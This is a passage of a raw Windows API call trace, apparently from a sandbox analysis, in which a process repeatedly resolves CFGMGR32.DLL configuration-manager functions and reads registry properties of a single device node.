lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.230] malloc (_Size=0x18) returned 0x196ef0d1960 [0184.230] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0184.230] malloc (_Size=0xe6) returned 0x196ef0d6890 [0184.231] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0184.232] free (_Block=0x196ef0d6890) [0184.232] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0184.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4eab1716, dwHighDateTime=0x1d9eb0c)) [0184.232] SetEvent (hEvent=0x248) returned 1 [0184.235] malloc (_Size=0x18) returned 0x196ef0d1da0 [0184.235] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0184.235] free (_Block=0x196ef0d1da0) [0184.235] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0184.235] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0184.235] free (_Block=0x196ef0d1bc0) [0184.235] malloc (_Size=0x18) returned 0x196ef0d1e60 [0184.235] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0184.235] free (_Block=0x196ef0d1e60) [0184.236] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0184.236] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0184.236] SafeArrayGetLBound (in: psa=0x196ef1f22b0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0184.236] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0184.236] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0184.236] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0184.236] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0184.236] SafeArrayGetElemsize (psa=0x196ef1f22b0) returned 0x8 [0184.236] SafeArrayGetElement (in: psa=0x196ef1f22b0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0184.236] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.237] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.237] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e820, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.238] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0184.239] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0184.239] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.239] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.242] malloc (_Size=0x18) returned 0x196ef0d2020 [0184.242] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0184.242] malloc (_Size=0x54) returned 0x196ef0fa390 [0184.242] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fa390, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa390, pulLength=0x67117d608) returned 0x0 [0184.243] free (_Block=0x196ef0fa390) [0184.243] malloc (_Size=0x48) returned 0x196ef0fc170 [0184.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4eab1716, dwHighDateTime=0x1d9eb0c)) [0184.244] SetEvent (hEvent=0x248) returned 1 [0184.247] malloc (_Size=0x18) returned 0x196ef0d1de0 [0184.247] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0184.247] free (_Block=0x196ef0d1de0) [0184.247] malloc (_Size=0x18) returned 0x196ef0d1be0 [0184.247] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0184.247] free (_Block=0x196ef0d1be0) [0184.247] malloc (_Size=0x18) returned 0x196ef0d1de0 [0184.247] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0184.247] free (_Block=0x196ef0d1de0) [0184.247] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0184.247] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0184.247] SafeArrayGetLBound (in: psa=0x196ef1f22b0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0184.247] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0184.247] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6410 [0184.247] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0184.247] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0184.247] SafeArrayGetElemsize (psa=0x196ef1f22b0) returned 0x8 [0184.248] SafeArrayGetElement (in: psa=0x196ef1f22b0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0184.248] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e970, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.248] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e978, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.248] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e980, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.249] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6410) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0184.250] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.250] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.253] malloc (_Size=0x18) returned 0x196ef0d1c80 [0184.253] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.253] malloc (_Size=0x48) returned 0x196ef0fb770 [0184.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ead80ad, dwHighDateTime=0x1d9eb0c)) [0184.254] SetEvent (hEvent=0x248) returned 1 [0184.257] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.257] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.260] malloc (_Size=0x18) returned 0x196ef0d1a20 [0184.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.260] malloc (_Size=0x48) returned 0x196ef0fbc20 [0184.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ead80ad, dwHighDateTime=0x1d9eb0c)) [0184.367] SetEvent (hEvent=0x248) returned 1 [0184.371] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.371] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.374] malloc (_Size=0x18) returned 0x196ef0d2060 [0184.374] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.375] malloc (_Size=0x48) returned 0x196ef0fbf40 [0184.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ec087b4, dwHighDateTime=0x1d9eb0c)) [0184.375] SetEvent (hEvent=0x248) returned 1 [0184.378] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.378] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.381] malloc (_Size=0x18) returned 0x196ef0d1de0 [0184.381] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0184.381] malloc (_Size=0x48) returned 0x196ef0fb900 [0184.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ec087b4, dwHighDateTime=0x1d9eb0c)) [0184.382] SetEvent (hEvent=0x248) returned 1 [0184.387] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.387] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.390] malloc (_Size=0x18) returned 0x196ef0d1f60 [0184.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.392] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0184.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.392] SetEvent (hEvent=0x248) returned 1 [0184.396] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.396] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 